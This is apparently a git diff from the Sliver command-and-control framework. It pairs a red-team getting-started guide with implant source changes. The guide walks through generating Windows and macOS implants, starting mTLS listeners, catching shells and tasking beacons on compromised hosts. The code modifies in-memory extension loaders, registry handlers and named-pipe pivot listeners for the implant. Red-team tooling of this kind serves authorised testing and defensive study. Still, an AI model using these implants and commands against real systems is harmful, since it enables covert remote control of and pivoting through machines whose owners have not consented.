__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
## Server Setup
The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
### MinGW Setup (Optional, Recommended)
### MinGW Setup (Optional)
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
#### Linux (Debian-based)
#### Linux
```
apt install mingw-w64
apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
```
#### MacOS
@@ -36,65 +35,39 @@ apt install mingw-w64
brew install mingw-w64
```
__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
### Metasploit Setup (Optional)
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
## Implants Beacon vs. Session
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
Some commands such as `shell` and `portfwd` only work over interactive sessions.
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
## Generating Implants
__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
#### Session Mode
```
[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
sliver > generate --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 Sliver binary
[*] Build completed in 00:00:16
[*] Build completed in 00:10:16
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
#### Beacon Mode
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
```
[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:27
[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
Some commands/features may not work on "unsupported" platforms.
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
[*] Generating new darwin/amd64 Sliver binary
[*] Build completed in 00:00:09
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:03
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
```
The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
```
sliver > implants
sliver > slivers
Name OS/Arch Debug Format
==== ======= ===== ======
@@ -110,7 +83,7 @@ SICK_SPY darwin/amd64 false EXECUTABLE
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
```
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
@@ -123,7 +96,7 @@ For addition details about each C2 please see:
## Getting Shells
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
```
sliver > mtls
@@ -140,101 +113,26 @@ ID Name Protocol Port
In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
### Interacting with Sessions
The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
```
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
sliver > use 8ff2ce4c
sliver > use 1
[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
[*] Active sliver PROPER_ANTHONY (1)
sliver (LONG_DRAMATURGE) > ls
sliver (PROPER_ANTHONY) > ls
/Users/moloch/Desktop
=====================
.DS_Store 6.0 KiB
.localized 0 B
LONG_DRAMATURGE 6.3 MiB
PROPER_ANTHONY 6.3 MiB
```
If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
### Interacting with Beacons
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
```
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
[server] sliver > beacons
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
[server] sliver (RELATIVE_ADVERTISEMENT) >
```
You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
```
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
[+] RELATIVE_ADVERTISEMENT completed task 962978a6
C:\git
======
drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
...
```
Tasks will execute in the order they were created (FIFO).
__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
You can view previous tasks executed by the active beacon using the `tasks` command:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
ID State Message Type Created Sent Completed
========== =========== ============== =============================== =============================== ===============================
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
```
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
#### Switching from Beacon Mode to Session Mode
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
```
__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
## Multiple Domains/Protocols
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
```
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
@@ -242,13 +140,4 @@ sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
## What Next?
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
+9 -14
View File
@@ -16,11 +16,10 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
set -e
# Creates the static go asset archives
GO_VER="1.17.6"
GO_VER="1.17.5"
GARBLE_VER="1.17.5"
GO_ARCH_1="amd64"
@@ -50,7 +49,7 @@ fi
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
OUTPUT_DIR=$REPO_DIR/server/assets/fs
mkdir -p $OUTPUT_DIR
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
WORK_DIR=`mktemp -d`
echo "-----------------------------------------------------------------"
@@ -134,20 +133,16 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
rm -rf ./go
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
# --- Client ---
mkdir -p $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows
echo "-----------------------------------------------------------------"
echo " Garble"
echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
curl -L --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
# end
echo -e "clean up: $WORK_DIR"
+1 -1
View File
@@ -64,7 +64,6 @@ require (
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
modernc.org/sqlite v1.14.3
)
@@ -108,6 +107,7 @@ require (
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.3.0 // indirect
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.0 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+1 -4
View File
@@ -29,11 +29,11 @@ import (
"io"
"os"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"time"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
@@ -73,9 +73,6 @@ func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaint
// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < 24 {
return nil, errors.New("ciphertext too short")
}
var decryptNonce [24]byte
copy(decryptNonce[:], ciphertext[:24])
plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
-1
View File
@@ -43,7 +43,6 @@ var (
// TOTP secret value
totpSecret = "{{.OTPSecret}}"
// ErrInvalidPeerKey - Peer to peer key exchange failed
ErrInvalidPeerKey = errors.New("invalid peer key")
)
+35 -12
View File
@@ -20,7 +20,10 @@ package extension
import (
"bytes"
"io/ioutil"
"os"
"runtime"
"syscall"
"unsafe"
// {{if .Config.Debug}}
@@ -39,10 +42,12 @@ type DarwinExtension struct {
}
type extensionArguments struct {
inDataSize uintptr
inDataBuff uintptr
outDataSize uintptr
outDataBuff uintptr
inDataSize uintptr
inDataBuff uintptr
pipeIn int
pipeOut int
// outDataSize uintptr
// outDataBuff uintptr
}
func NewDarwinExtension(data []byte, id string, arch string, init string) *DarwinExtension {
@@ -98,7 +103,16 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
// {{if .Config.Debug}}
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
// {{end}}
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
pipe := make([]int, 2)
err := syscall.Pipe(pipe)
if err != nil {
return err
}
defer syscall.Close(pipe[0])
defer syscall.Close(pipe[1])
extArgs.pipeIn = pipe[0] // read
extArgs.pipeOut = pipe[1] // write
_, err = d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
if err != nil {
return err
}
@@ -106,14 +120,23 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
log.Printf("%s done!\n", export)
// {{end}}
outData := new(bytes.Buffer)
outDataSize := int(extArgs.outDataSize)
// {{if .Config.Debug}}
log.Printf("Out data size: %d\n", outDataSize)
// {{end}}
for i := 0; i < outDataSize; i++ {
b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
outData.WriteByte(*b)
outFile := os.NewFile(uintptr(extArgs.pipeIn), "pipe")
if outFile == nil {
return syscall.EINVAL
}
data, err := ioutil.ReadAll(outFile)
if err != nil {
return err
}
outData.Write(data)
// outDataSize := int(extArgs.outDataSize)
// // {{if .Config.Debug}}
// log.Printf("Out data size: %d\n", outDataSize)
// // {{end}}
// for i := 0; i < outDataSize; i++ {
// b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
// outData.WriteByte(*b)
// }
// We currently don't have a way to trigger a callback
// in the loaded code for Darwin.
if outData.Len() > 0 {
+7 -11
View File
@@ -37,15 +37,15 @@ const (
)
type WindowsExtension struct {
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
serverStore bool
}
// NewWindowsExtension - Load a new windows extension
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
return &WindowsExtension{
id: id,
@@ -55,17 +55,14 @@ func NewWindowsExtension(data []byte, id string, arch string, init string) *Wind
}
}
// GetID - Get the extension ID
func (w *WindowsExtension) GetID() string {
return w.id
}
// GetArch - Get the extension architecture
func (w *WindowsExtension) GetArch() string {
return w.arch
}
// Load - Load the extension into memory
func (w *WindowsExtension) Load() error {
var err error
if len(w.data) == 0 {
@@ -89,7 +86,6 @@ func (w *WindowsExtension) Load() error {
return nil
}
// Call - Call an extension export
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
var (
argumentsPtr uintptr
+10 -22
View File
@@ -77,7 +77,6 @@ var (
sliverpb.MsgRegistryReadReq: regReadHandler,
sliverpb.MsgRegistryWriteReq: regWriteHandler,
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
sliverpb.MsgRegistryDeleteKeyReq: regDeleteKeyHandler,
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
@@ -497,23 +496,6 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func regDeleteKeyHandler(data []byte, resp RPCResponse) {
deleteReq := &sliverpb.RegistryDeleteKeyReq{}
err := proto.Unmarshal(data, deleteReq)
if err != nil {
return
}
err = registry.DeleteKey(deleteReq.Hostname, deleteReq.Hive, deleteReq.Path, deleteReq.Key)
deleteResp := &sliverpb.RegistryDeleteKey{
Response: &commonpb.Response{},
}
if err != nil {
deleteResp.Response.Err = err.Error()
}
data, err = proto.Marshal(deleteResp)
resp(data, err)
}
func regSubKeysListHandler(data []byte, resp RPCResponse) {
listReq := &sliverpb.RegistrySubKeyListReq{}
err := proto.Unmarshal(data, listReq)
@@ -602,17 +584,20 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
func registerExtensionHandler(data []byte, resp RPCResponse) {
registerReq := &sliverpb.RegisterExtensionReq{}
err := proto.Unmarshal(data, registerReq)
if err != nil {
return
}
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
extension.Add(ext)
err = ext.Load()
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
registerResp := &sliverpb.RegisterExtension{
Response: &commonpb.Response{},
}
if err != nil {
registerResp.Response.Err = err.Error()
} else {
extension.Add(ext)
}
data, err = proto.Marshal(registerResp)
resp(data, err)
@@ -620,12 +605,15 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
func callExtensionHandler(data []byte, resp RPCResponse) {
callReq := &sliverpb.CallExtensionReq{}
err := proto.Unmarshal(data, callReq)
if err != nil {
return
}
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
callResp := &sliverpb.CallExtension{
Response: &commonpb.Response{},
}
gotOutput := false
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
gotOutput = true
+4 -13
View File
@@ -69,8 +69,8 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
return
}
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
listener, err := createListener(req.BindAddress, connection.Send)
if startListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
listener, err := startListener(req.BindAddress, connection.Send)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
@@ -80,7 +80,6 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
}
return
}
go listener.Start()
pivots.AddListener(listener)
data, _ := proto.Marshal(listener.ToProtobuf())
connection.Send <- &pb.Envelope{
@@ -118,20 +117,12 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
}
func pivotPeerEnvelopeHandler(envelope *pb.Envelope, connection *transports.Connection) {
sent, err := pivots.SendToPeer(envelope)
sent := pivots.SendToPeer(envelope)
if !sent {
// {{if .Config.Debug}}
log.Printf("Send to peer failed, report peer failure upstream ...")
// {{end}}
errStr := ""
if err != nil {
errStr = err.Error()
}
data, _ := proto.Marshal(&pb.PivotPeerFailure{
PeerID: pivots.MyPeerID,
Type: pb.PeerFailureType_SEND_FAILURE,
Err: errStr,
})
data, _ := proto.Marshal(&pb.PivotPeerFailure{ID: envelope.ID})
connection.Send <- &pb.Envelope{
Type: pb.MsgPivotPeerFailure,
Data: data,
+21 -19
View File
@@ -20,7 +20,6 @@ package pivots
import (
"sync"
"time"
// {{if .Config.Debug}}
"log"
@@ -30,37 +29,39 @@ import (
"github.com/lesnuages/go-winio"
)
var (
namedpipePivotReadDeadline = 10 * time.Second
namedpipePivotWriteDeadline = 10 * time.Second
)
// CreateNamedPipePivotListener - Starts a named pipe listener
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
// StartNamedPipePivotListener - Starts a named pipe listener
func StartNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
fullName := "\\\\.\\pipe\\" + address
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
//SecurityDescriptor: "",
RemoteClientMode: true,
})
// {{if .Config.Debug}}
log.Printf("Listening on named pipe %s", fullName)
log.Printf("Listening on %s", fullName)
// {{end}}
if err != nil {
return nil, err
}
pivotLn := &PivotListener{
ID: ListenerID(),
Type: pb.PivotType_NamedPipe,
Listener: ln,
PivotConnections: &sync.Map{},
BindAddress: fullName,
Upstream: upstream,
ID: ListenerID(),
Type: pb.PivotType_NamedPipe,
Listener: ln,
Pivots: &sync.Map{},
BindAddress: fullName,
Upstream: upstream,
}
go namedPipeAcceptConnections(pivotLn)
return pivotLn, nil
}
func namedPipeAcceptConnections(pivotListener *PivotListener) {
// hostname, err := os.Hostname()
// if err != nil {
// // {{if .Config.Debug}}
// log.Printf("Failed to determine hostname %s", err)
// // {{end}}
// hostname = "."
// }
// namedPipe := strings.ReplaceAll(pivotListener.Listener.Addr().String(), ".", hostname)
for {
conn, err := pivotListener.Listener.Accept()
if err != nil {
@@ -68,14 +69,15 @@ func namedPipeAcceptConnections(pivotListener *PivotListener) {
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
id: PivotID(),
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: namedpipePivotReadDeadline,
writeDeadline: namedpipePivotWriteDeadline,
readDeadline: tcpPivotReadDeadline,
writeDeadline: tcpPivotWriteDeadline,
upstream: pivotListener.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(pivotListener.PivotConnections)
go pivotConn.Start(pivotListener.Pivots)
}
}
+90 -204
View File
@@ -43,39 +43,17 @@ const (
)
var (
// ErrFailedWrite - Failed to write to a connection
ErrFailedWrite = errors.New("failed to write")
// ErrFailedKeyExchange - Failed to exchange session and/or peer keys
ErrFailedWrite = errors.New("failed to write")
ErrFailedKeyExchange = errors.New("failed key exchange")
pivotListeners = &sync.Map{}
stoppedPivotListeners = &sync.Map{}
pivotListeners = &sync.Map{}
listenerID = uint32(0)
listenerID = uint32(0)
// MyPeerID - This implant's Peer ID, a per-execution instance ID
MyPeerID = generatePeerID()
pivotReadDeadline = 10 * time.Second
pivotWriteDeadline = 10 * time.Second
PeerID = PivotID() // This implant's Peer ID, a per-execution instance ID
)
// generatePeerID - Generate a new pivot id
func generatePeerID() int64 {
buf := make([]byte, 8)
_, err := rand.Read(buf)
if err != nil {
return time.Now().UnixNano() // These need only be unique
}
peerID := int64(binary.LittleEndian.Uint64(buf))
if peerID == int64(0) {
return time.Now().UnixNano()
}
return peerID
}
// CreateListener - Generic interface to a start listener function
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
// StartListener - Generic interface to a start listener function
type StartListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
// GetListeners - Get a list of active listeners
func GetListeners() []*pb.PivotListener {
@@ -90,56 +68,9 @@ func GetListeners() []*pb.PivotListener {
// AddListener - Add a listener
func AddListener(listener *PivotListener) {
// {{if .Config.Debug}}
log.Printf("[pivot] my peer id: %d", MyPeerID)
log.Printf("[pivot] adding listener: %s", listener.BindAddress)
// {{end}}
pivotListeners.Store(listener.ID, listener)
}
// RemoveListener - Stop a pivot listener
func RemoveListener(id uint32) {
if listener, ok := pivotListeners.LoadAndDelete(id); ok {
listener.(*PivotListener).Stop()
}
}
// RestartAllListeners - Start all pivot listeners
func RestartAllListeners(send chan<- *pb.Envelope) {
stoppedPivotListeners.Range(func(key, value interface{}) bool {
stoppedListener := value.(*PivotListener)
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
listener, err := createListener(stoppedListener.BindAddress, send)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] failed to restart listener: %s", err)
// {{end}}
}
go listener.Start()
AddListener(listener)
}
return true
})
stoppedPivotListeners = nil
}
// StopAllListeners - Stop all pivot listeners
func StopAllListeners() {
pivotListeners.Range(func(key, value interface{}) bool {
value.(*PivotListener).Stop()
return true
})
stoppedPivotListeners = pivotListeners
pivotListeners = &sync.Map{}
}
// StartListener - Stop a pivot listener
func StartListener(id uint32) {
if listener, ok := pivotListeners.Load(id); ok {
listener.(*PivotListener).Start()
}
}
// StopListener - Stop a pivot listener
func StopListener(id uint32) {
if listener, ok := pivotListeners.Load(id); ok {
@@ -148,74 +79,71 @@ func StopListener(id uint32) {
}
// SendToPeer - Forward an envelope to a peer
func SendToPeer(envelope *pb.Envelope) (bool, error) {
pivotPeerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, pivotPeerEnvelope)
func SendToPeer(envelope *pb.Envelope) bool {
peerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, peerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to unmarshal peer envelope: %s", err)
// {{end}}
return false, err
return false
}
// {{if .Config.Debug}}
log.Printf("my peer envelope: %+v", pivotPeerEnvelope)
log.Printf("Peer Envelope: %v", peerEnvelope)
log.Printf("Send to downstream pivot id: %d", peerEnvelope.PivotID)
// {{end}}
nextPeerID, err := findNextPeerID(pivotPeerEnvelope)
downstreamEnvelope := &pb.Envelope{
Type: pb.MsgPivotPeerEnvelope,
Data: peerEnvelope.Data,
}
